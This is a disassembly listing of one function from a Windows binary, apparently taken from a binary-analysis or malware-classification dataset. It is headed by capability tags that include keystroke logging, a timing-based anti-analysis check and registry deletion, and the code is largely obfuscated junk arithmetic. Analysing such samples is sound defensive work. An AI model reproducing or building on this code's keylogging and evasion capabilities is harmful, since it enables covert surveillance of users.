Function at 0x10030906
Capabilities:
Accept command line arguments
Allocate thread local storage
Check for time delay via gettickcount
Create pipe
Delete registry value
Enumerate gui resources
Get common file path
Get geographical location
Get memory capacity
Get thread local storage value
Log keystrokes via polling
Parse pe header
Query environment variable
Query or enumerate registry value
Set thread local storage value
Terminate process

Disassembly:
mov eax, 0x10080aaa
call fcn.1007efe0
mov eax, 0x147c
call fcn.1007b3c0
push ebx
push esi
push edi
push 2
pop ebx
mov dword [ebp - 0x50], ecx
lea ecx, [ebp - 0x620]
push ebx
mov byte [ebp - 0x75], dl
call fcn.10016d2b
xor eax, eax
lea ecx, [ebp - 0xb2c]
mov dword [ebp - 4], eax
mov dword [ebp - 0x30], 0x292c5eb2
mov dword [ebp - 0x28], 0xfffffffb
push ebx
call fcn.10016d2b
xor eax, eax
or esi, 0xffffffff
inc eax
mov byte [ebp - 4], al
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x4c], 0x6aa1c33c
mov dword [ebp - 0x54], 0xe018
mov dword [ebp - 0x38], 0x716e3113
mov dword [ebp - 0x1c], esi
push 0xfffffffffffffffa
mov dword [ebp - 0x3c], 0xe8e23095
pop eax
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x100309b5
push dword [ebp - 0x18]
lea ecx, [ebp - 0x620]
call fcn.10016dc9
mov dword [eax], 0x485bf25c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10030997
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x100309db
push dword [ebp - 0x18]
lea ecx, [ebp - 0xb2c]
call fcn.10016dc9
mov dword [eax], 0xa96141e4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x100309bd
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x100309f9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x126c], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100309e4
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10030a0b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7d4], ebx
inc dword [ebp - 0x18]
xor eax, eax
inc eax
cmp dword [ebp - 0x18], eax
jl 0x100309fe
mov eax, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x7d4]
sub eax, dword [ebp - 0x38]
cmp eax, 0x10b5
mov eax, dword [ebp - 0x3c]
setg dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x54]
cmp eax, edx
setl cl
xor eax, eax
mov dword [ebp - 0x28], ecx
inc eax
push eax
lea ecx, [ebp - 0x620]
call fcn.10016dc9
mov edx, dword [ebp - 0x24]
xor ebx, ebx
mov ecx, dword [ebp - 0x28]
cmp ecx, edx
setne bl
imul ebx, dword [eax]
mov eax, dword [ebp - 0x1c]
inc dword [ebp - 0x1c]
cmp eax, ebx
jl 0x10030a72
xor eax, eax
cmp dword [ebp - 0x1268], eax
jne 0x10030a72
mov ecx, eax
jmp 0x10030a77
xor eax, eax
lea ecx, [eax + 1]
inc dword [ebp - 0x4c]
xor eax, eax
cmp ecx, 0x6ae4
lea ecx, [ebp - 0xb2c]
setne al
xor ebx, ebx
inc ebx
cmp ebx, eax
push ebx
sbb edi, edi
inc edi
call fcn.10016dc9
push ebx
lea ecx, [ebp - 0x620]
mov dword [eax], edi
call fcn.10016dc9
push ebx
lea ecx, [ebp - 0x620]
mov esi, eax
call fcn.10016dc9
mov ecx, dword [esi]
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x620]
setle bl
xor eax, eax
inc eax
push eax
call fcn.10016dc9
mov ecx, dword [ebp - 0x4c]
xor edx, edx
cmp ecx, edi
lea ecx, [ebp - 0xb2c]
setle dl
imul edx, dword [eax]
add edx, ebx
neg edx
sbb edx, edx
inc edx
cmp edx, 3
sbb eax, eax
inc eax
mov dword [ebp - 0x48], eax
call fcn.10016dad
or esi, 0xffffffff
lea ecx, [ebp - 0x620]
mov dword [ebp - 4], esi
call fcn.10016dad
push 4
lea ecx, [ebp - 0x408]
call fcn.10016d2b
push 2
pop ebx
xor edi, edi
mov dword [ebp - 4], ebx
inc edi
mov dword [ebp - 0x2c], 0x5e48d327
mov dword [ebp - 0x38], 6
lea ecx, [ebp - 0x9e8]
push edi
call fcn.10016d2b
mov byte [ebp - 4], 3
xor eax, eax
mov dword [ebp - 0x28], 0xfffffff9
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x10030b6f
push dword [ebp - 0x20]
lea ecx, [ebp - 0x9e8]
call fcn.10016dc9
mov dword [eax], 0x2aee5a98
xor eax, eax
inc dword [ebp - 0x20]
inc eax
cmp dword [ebp - 0x20], eax
jl 0x10030b4b
xor edi, edi
xor eax, eax
inc edi
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x15
jg 0x10030bf5
mov dword [ebp - 0x54], esi
lea ecx, [ebp - 0x9e8]
mov dword [ebp - 0x1c], 0x707822e6
mov dword [ebp - 0x30], 0xe0980db9
mov dword [ebp - 0x3c], 0x2278213a
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
inc dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
xor eax, eax
push eax
call fcn.10016dc9
xor ecx, ecx
cmp dword [eax], edi
setge cl
xor ebx, ebx
cmp ecx, 0x69f
lea ecx, [ebp - 0x9e8]
setle bl
xor eax, eax
push eax
call fcn.10016dc9
mov esi, dword [ebp - 0x54]
xor edx, edx
mov ecx, dword [ebp - 0x1c]
add esi, ebx
cmp ecx, esi
push 0xffffffffffffffff
setl dl
mov dword [eax], edx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x15
pop esi
jle 0x10030b78
push 2
pop ebx
or esi, esi
lea ecx, [ebp - 0x9e8]
mov byte [ebp - 4], bl
call fcn.10016dad
mov dword [ebp - 0x2c], 0x91b68dee
xor eax, eax
mov dword [ebp - 0x30], 0x28c176b0
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x54], 0xc41fd9d0
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10030c3d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x12a4], 0xfffffff7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10030c25
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10030c61
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xfc8], edi
xor eax, eax
inc dword [ebp - 0x14]
inc eax
push eax
pop edi
cmp dword [ebp - 0x14], eax
jl 0x10030c45
xor edi, edi
xor eax, eax
inc edi
inc dword [ebp - 0x54]
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], 0
je 0x10030c7c
push eax
push edi
push 0x1ec
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
xor eax, eax
push 0xfffffffffffffffd
pop ecx
mov dword [ebp - 0x14], ecx
mov ebx, 0xfc5c3c3a
mov dword [ebp - 0x24], 0x47d228d5
mov dword [ebp - 0x18], 0xfffffff7
mov dword [ebp - 0x54], 3
mov dword [ebp - 0x28], 0x1bca3396
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x1c], eax
push 7
mov dword [ebp - 0x38], esi
pop ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x18], eax
je 0x10030d93
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
dec ecx
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setne dl
xor ecx, ecx
imul edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x18]
jne 0x10030cf6
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10030cf8
mov eax, edi
cmp ebx, eax
push 0xfffffffffffffffa
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
pop eax
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setg dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setl bl
xor ecx, ecx
cmp ebx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setle dl
xor eax, eax
mov dword [ebp - 0x28], edx
cmp dword [ebp - 0x28], eax
je 0x10030d4c
lea ecx, [eax + 1]
jmp 0x10030d4e
mov ecx, eax
mov eax, dword [ebp - 0x18]
imul eax, ecx
sub eax, 0x7018
add eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 9
mov eax, dword [ebp - 0x48]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
imul eax, ecx, 0xeeb4
cmp eax, dword [ebp - 0x18]
jl 0x10030d8a
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x10030d8a
cmp dword [ebp - 0x1c], eax
je 0x10030d91
xor eax, eax
lea ecx, [eax + 1]
jmp 0x10030d95
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x1c]
add eax, ecx
mov dword [ebp - 0x38], eax
je 0x10030da2
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp eax, 0x88b9
mov eax, dword [ebp - 0x4c]
setne dl
xor ecx, ecx
neg edx
cmp edx, eax
push 2
setg cl
xor edx, edx
mov dword [ebp - 0x4c], ecx
xor esi, esi
mov eax, dword [ebp - 0x4c]
inc esi
mov eax, dword [ebp - 0x18]
cmp eax, esi
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp eax, edx
pop ebx
setle cl
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x38], ebx
push 4
mov dword [ebp - 0x28], 0x6899db22
mov dword [ebp - 0x20], eax
pop edi
jmp 0x10030e06
push dword [ebp - 0x20]
call fcn.10016dc9
and dword [eax], 0
inc dword [ebp - 0x20]
lea ecx, [ebp - 0x408]
cmp dword [ebp - 0x20], edi
jl 0x10030df8
push 3
call fcn.10016dc9
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x10030ea0
push 3
lea ecx, [ebp - 0x408]
call fcn.10016dc9
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x10030e68
mov dword [ebp - 0x14], esi
lea ecx, [ebp - 0x408]
push 3
call fcn.10016dc9
mov ecx, dword [ebp - 0x14]
xor edx, edx
cmp ecx, dword [eax]
setge dl
xor eax, eax
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x2c], eax
je 0x10030e66
mov eax, esi
jmp 0x10030e68
xor eax, eax
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x408]
push ebx
call fcn.10016dc9
mov ecx, dword [ebp - 0x24]
xor edx, edx
cmp ecx, 0x86f2
setl dl
xor ecx, ecx
cmp dword [eax], edx
setle cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x408]
push eax
call fcn.10016dc9
mov eax, dword [ebp - 0x1c]
push 3
lea ecx, [ebp - 0x408]
call fcn.10016dc9
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10030ebd
cmp dword [ebp - 0x24], eax
jne 0x10030ebd
mov edx, eax
jmp 0x10030ec5
xor eax, eax
xor esi, esi
inc esi
lea edx, [eax + 1]
mov eax, dword [ebp - 0x38]
xor ecx, ecx
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp edx, eax
setg cl
cmp ecx, 0xfffffff7
jg 0x10030efb
xor eax, eax
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], al
je 0x10030fae
push 0x32c
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
jmp 0x10030fae
mov dword [ebp - 0x38], 0xfffffffb
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xe30f4aed
mov dword [ebp - 0x20], eax
jmp 0x10030f20
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x578], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10030f13
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp eax, 6
setl cl
mov dword [ebp - 0x570], ecx
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x570], eax
jne 0x10030f50
cmp dword [ebp - 0x4c], eax
jne 0x10030f50
mov ecx, eax
jmp 0x10030f55
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x574]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x570]
setge cl
imul ecx, eax
mov eax, dword [ebp - 0x28]
imul eax, ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x4c]
xor eax, eax
cmp dword [ebp - 0x578], eax
jne 0x10030fa5
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x578]
mov dword [ebp - 0x14], eax
or eax, 0xffffffff
lea ecx, [ebp - 0x408]
mov dword [ebp - 4], eax
call fcn.10016dad
push 2
pop esi
push esi
lea ecx, [ebp - 0x7e0]
call fcn.10016d2b
mov dword [ebp - 4], edi
xor eax, eax
xor edi, edi
inc edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x10030fff
push dword [ebp - 0x20]
lea ecx, [ebp - 0x7e0]
call fcn.10016dc9
mov dword [eax], 6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10030fe1
xor eax, eax
mov esi, dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 0x20], edi
push 8
pop ecx
cmp dword [ebp - 0x20], eax
jl 0x1003113c
mov dword [ebp - 0x14], ecx
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], 0
je 0x10031033
push 0x2c3
push 0x1c96
push eax
call dword [sym.imp.USER32.dll_InflateRect]
xor eax, eax
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], 0
je 0x10031051
push 0xce7
push 0x26cd
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10031127
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x54], 0x6c849023
mov dword [ebp - 0x38], 0x2305aba9
mov dword [ebp - 0x40], edi
cmp dword [ebp - 0x40], eax
jl 0x100310e4
mov dword [ebp - 0x38], eax
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], 0
je 0x1003108a
call ebx
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
push dword [ebp - 0x40]
lea ecx, [ebp - 0x7e0]
call fcn.10016dc9
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x100310a2
mov eax, dword [ebp - 0x14]
push dword [ebp - 0x40]
lea ecx, [ebp - 0x7e0]
call fcn.10016dc9
push edi
lea ecx, [ebp - 0x7e0]
mov eax, dword [eax]
add eax, 0x184e5a94
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x38]
call fcn.10016dc9
mov eax, dword [ebp - 0x14]
mov ecx, 0x13bc
mov eax, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x38], ecx
dec dword [ebp - 0x40]
push 0
pop eax
jns 0x10031072
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], 0
je 0x10031124
push 0x2423
push 0x17d9
push 0x1a78
call ebx
push eax
call esi
push eax
push 0x77d
push 0x255c
push 0x1d20
push 0xbf1
call ebx
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x10031059
dec dword [ebp - 0x20]
push 8
pop ecx
jns 0x10031014
or esi, 0xffffffff
lea ecx, [ebp - 0x7e0]
mov dword [ebp - 4], esi
call fcn.10016dad
push 2
pop ebx
push ebx
lea ecx, [ebp - 0x2e4]
call fcn.10016d2b
push 5
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1003118a
push dword [ebp - 0x14]
lea ecx, [ebp - 0x2e4]
call fcn.10016dc9
mov dword [eax], 0xbca63185
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1003116c
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x100311ad
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x70], 0x9beb0647
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x10031192
xor edi, edi
xor eax, eax
inc edi
mov dword [ebp - 0x70], edi
cmp dword [ebp - 0x70], eax
jl 0x100315ba
push 3
lea ecx, [ebp - 0x1fc]
call fcn.10016d2b
push 0xfffffffffffffff6
pop eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xc10]
mov dword [ebp - 0x54], eax
push edi
call fcn.10016d2b
push 7
pop eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1003120c
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1fc]
call fcn.10016dc9
mov dword [eax], 0x8faaaeb9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100311ed
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
inc eax
cmp dword [ebp - 0x14], eax
jge 0x10031236
push dword [ebp - 0x14]
lea ecx, [ebp - 0xc10]
call fcn.10016dc9
mov dword [eax], 0x51885a1e
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x10031217
push eax
lea ecx, [ebp - 0x1fc]
call fcn.10016dc9
xor edi, edi
lea ecx, [ebp - 0x1fc]
inc edi
push edi
mov dword [eax], edi
call fcn.10016dc9
cmp dword [eax], 0
jl 0x10031581
push 3
lea ecx, [ebp - 0x23c]
call fcn.10016d2b
push 8
pop eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x10031299
push dword [ebp - 0x20]
lea ecx, [ebp - 0x23c]
call fcn.10016dc9
mov dword [eax], 0x707dfe4d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x1003127a
xor eax, eax
push eax
lea ecx, [ebp - 0x23c]
call fcn.10016dc9
lea ecx, [ebp - 0x23c]
mov dword [eax], edi
xor eax, eax
push eax
call fcn.10016dc9
jmp 0x10031524
xor eax, eax
lea ecx, [ebp - 0xac0]
mov dword [ebp - 0x54], eax
push ebx
call fcn.10016d2b
xor eax, eax
mov byte [ebp - 4], 9
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x100312f3
push dword [ebp - 0x20]
lea ecx, [ebp - 0xac0]
call fcn.10016dc9
mov dword [eax], edi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x100312d9
xor eax, eax
push eax
lea ecx, [ebp - 0x23c]
call fcn.10016dc9
xor ecx, ecx
cmp dword [eax], 0xf2c9
setge cl
cmp ecx, 0xfdda
je 0x10031319
xor eax, eax
cmp dword [ebp - 0x70], eax
je 0x10031338
mov eax, edi
cmp dword [ebp - 0x70], eax
je 0x10031338
push ebx
lea ecx, [ebp - 0x1fc]
call fcn.10016dc9
cmp dword [eax], 0
je 0x10031338
xor eax, eax
inc eax
mov esi, eax
jmp 0x1003133d
xor eax, eax
mov esi, eax
inc eax
push eax
lea ecx, [ebp - 0x1fc]
call fcn.10016dc9
lea ecx, [ebp - 0x2e4]
push dword [eax]
call fcn.10016dc9
xor ebx, ebx
lea ecx, [ebp - 0x1fc]
cmp dword [eax], esi
setl bl
xor edi, edi
inc edi
push edi
call fcn.10016dc9
push 0xfffffffffffffff6
pop ecx
push dword [ebp - 0x70]
mov eax, dword [eax]
imul eax, ebx
cmp ecx, eax
lea ecx, [ebp - 0x2e4]
sbb esi, esi
neg esi
call fcn.10016dc9
lea ecx, [ebp - 0x23c]
mov dword [eax], esi
xor eax, eax
push eax
call fcn.10016dc9
mov ecx, dword [eax]
mov eax, dword [ebp - 0x54]
inc ecx
imul eax, ecx
test eax, eax
je 0x100313d0
push edi
lea ecx, [ebp - 0x1fc]
call fcn.10016dc9
cmp dword [eax], 0
je 0x100313d0
xor eax, eax
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], al
je 0x100314f2
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
jmp 0x100314f2
push edi
lea ecx, [ebp - 0xd00]
call fcn.10016d2b
xor eax, eax
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x20], eax
inc eax
cmp dword [ebp - 0x20], eax
jge 0x1003140a
push dword [ebp - 0x20]
lea ecx, [ebp - 0xd00]
call fcn.10016dc9
mov dword [eax], 0xfffffff9
xor eax, eax
inc dword [ebp - 0x20]
inc eax
cmp dword [ebp - 0x20], eax
jl 0x100313eb
push eax
lea ecx, [ebp - 0x1fc]
call fcn.10016dc9
lea ecx, [ebp - 0x2e4]
push dword [eax]
call fcn.10016dc9
mov eax, dword [ebp - 0x54]
lea ecx, [ebp - 0xd00]
xor eax, eax
push eax
call fcn.10016dc9
mov ecx, dword [ebp - 0x70]
xor ebx, ebx
push dword [ebp - 0x70]
cmp dword [eax], ecx
lea ecx, [ebp - 0x2e4]
setge bl
call fcn.10016dc9
xor ecx, ecx
cmp ebx, dword [eax]
setne cl
xor eax, eax
cmp ecx, 0x23d3
lea ecx, [ebp - 0x2e4]
setg al
mov dword [ebp - 0x54], eax
push dword [ebp - 0x70]
call fcn.10016dc9
mov ecx, dword [ebp - 0x54]
xor ebx, ebx
push dword [ebp - 0x70]
sub ecx, dword [eax]
cmp ecx, 0xbc01
lea ecx, [ebp - 0x2e4]
setg bl
add ebx, 0xffffe0e1
neg ebx
sbb ebx, ebx
inc ebx
call fcn.10016dc9
xor ecx, ecx
cmp ebx, dword [eax]
setle cl
xor eax, eax
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0xc10]
push eax
call fcn.10016dc9
mov esi, dword [ebp - 0x38]
lea ecx, [ebp - 0x23c]
mov dword [eax], esi
xor eax, eax
push eax
call fcn.10016dc9
mov ecx, dword [ebp - 0x70]
xor ebx, ebx
cmp esi, ecx
lea ecx, [ebp - 0xac0]
sete bl
sub ebx, dword [eax]
neg ebx
sbb ebx, ebx
xor eax, eax
push eax
inc ebx
call fcn.10016dc9
lea ecx, [ebp - 0xd00]
mov dword [eax], ebx
call fcn.10016dad
xor edi, edi
inc edi
push 8
pop eax
lea ecx, [ebp - 0xac0]
mov byte [ebp - 4], al
call fcn.10016dad
xor eax, eax
lea ecx, [ebp - 0x23c]
push eax
call fcn.10016dc9
lea ecx, [ebp - 0x23c]
dec dword [eax]
xor eax, eax
push eax
call fcn.10016dc9
push 2
pop ebx
cmp dword [eax], 0
jge 0x100312ba
xor eax, eax
lea ecx, [ebp - 0x2e4]
push eax
call fcn.10016dc9
xor ebx, ebx
lea ecx, [ebp - 0x23c]
cmp dword [eax], ebx
jne 0x10031579
push 7
pop eax
mov byte [ebp - 4], al
call fcn.10016dad
push edi
lea ecx, [ebp - 0x1fc]
call fcn.10016dc9
push edi
lea ecx, [ebp - 0x1fc]
dec dword [eax]
call fcn.10016dc9
push 2
cmp dword [eax], ebx
pop ebx
jge 0x1003125c
jmp 0x1003157e
call fcn.10016dad
push 2
pop ebx
xor eax, eax
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], al
je 0x10031592
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea ecx, [ebp - 0xc10]
call fcn.10016dad
push 5
pop eax
lea ecx, [ebp - 0x1fc]
mov byte [ebp - 4], al
call fcn.10016dad
dec dword [ebp - 0x70]
jns 0x100311b9
or esi, 0xffffffff
lea ecx, [ebp - 0x2e4]
mov dword [ebp - 4], esi
call fcn.10016dad
push 4
lea ecx, [ebp - 0x418]
call fcn.10016d2b
push ebx
lea ecx, [ebp - 0x5f0]
mov dword [ebp - 4], 0xb
call fcn.10016d2b
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xad8]
mov dword [ebp - 0x30], 0x292c5eb2
mov dword [ebp - 0x28], 0xfffffffb
push ebx
call fcn.10016d2b
mov byte [ebp - 4], 0xd
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x4c], 0x6aa1c33c
mov dword [ebp - 0x54], 0xe018
mov dword [ebp - 0x38], 0x716e3113
mov dword [ebp - 0x1c], esi
push 0xfffffffffffffffa
mov dword [ebp - 0x3c], 0xe8e23095
pop eax
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10031664
push dword [ebp - 0x18]
lea ecx, [ebp - 0x5f0]
call fcn.10016dc9
mov dword [eax], 0x485bf25c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10031646
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1003168a
push dword [ebp - 0x18]
lea ecx, [ebp - 0xad8]
call fcn.10016dc9
mov dword [eax], 0xa96141e4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003166c
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x100316a8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1284], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10031693
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x100316ba
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7f4], ebx
inc dword [ebp - 0x18]
xor eax, eax
inc eax
cmp dword [ebp - 0x18], eax
jl 0x100316ad
mov eax, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x7f4]
sub eax, dword [ebp - 0x38]
cmp eax, 0x10b5
mov eax, dword [ebp - 0x3c]
setg dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x54]
cmp eax, edx
setl cl
xor eax, eax
mov dword [ebp - 0x28], ecx
inc eax
push eax
lea ecx, [ebp - 0x5f0]
call fcn.10016dc9
mov edx, dword [ebp - 0x24]
xor ebx, ebx
mov ecx, dword [ebp - 0x28]
cmp ecx, edx
setne bl
imul ebx, dword [eax]
mov eax, dword [ebp - 0x1c]
inc dword [ebp - 0x1c]
cmp eax, ebx
jl 0x10031721
xor eax, eax
cmp dword [ebp - 0x1280], eax
jne 0x10031721
mov ecx, eax
jmp 0x10031726
xor eax, eax
lea ecx, [eax + 1]
inc dword [ebp - 0x4c]
xor eax, eax
cmp ecx, 0x6ae4
lea ecx, [ebp - 0xad8]
setne al
xor ebx, ebx
inc ebx
cmp ebx, eax
push ebx
sbb edi, edi
inc edi
call fcn.10016dc9
push ebx
lea ecx, [ebp - 0x5f0]
mov dword [eax], edi
call fcn.10016dc9
push ebx
lea ecx, [ebp - 0x5f0]
mov esi, eax
call fcn.10016dc9
mov ecx, dword [esi]
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x5f0]
setle bl
xor eax, eax
inc eax
push eax
call fcn.10016dc9
mov ecx, dword [ebp - 0x4c]
xor edx, edx
cmp ecx, edi
lea ecx, [ebp - 0xad8]
setle dl
imul edx, dword [eax]
add edx, ebx
neg edx
sbb edx, edx
inc edx
cmp edx, 3
sbb eax, eax
inc eax
mov dword [ebp - 0x48], eax
call fcn.10016dad
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 4], 0xb
call fcn.10016dad
xor edi, edi
mov dword [ebp - 0x44], 0x91b68dee
inc edi
mov dword [ebp - 0x2c], 0x5e48d327
mov dword [ebp - 0x38], 6
lea ecx, [ebp - 0x88c]
push edi
call fcn.10016d2b
mov byte [ebp - 4], 0xe
xor eax, eax
mov dword [ebp - 0x28], 0xfffffff9
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x10031810
push dword [ebp - 0x20]
lea ecx, [ebp - 0x88c]
call fcn.10016dc9
mov dword [eax], 0x2aee5a98
xor eax, eax
inc dword [ebp - 0x20]
inc eax
cmp dword [ebp - 0x20], eax
jl 0x100317ec
xor edi, edi
xor eax, eax
inc edi
mov dword [ebp - 0x2c], eax
jmp 0x10031881
or eax, 0xffffffff
mov dword [ebp - 0x54], eax
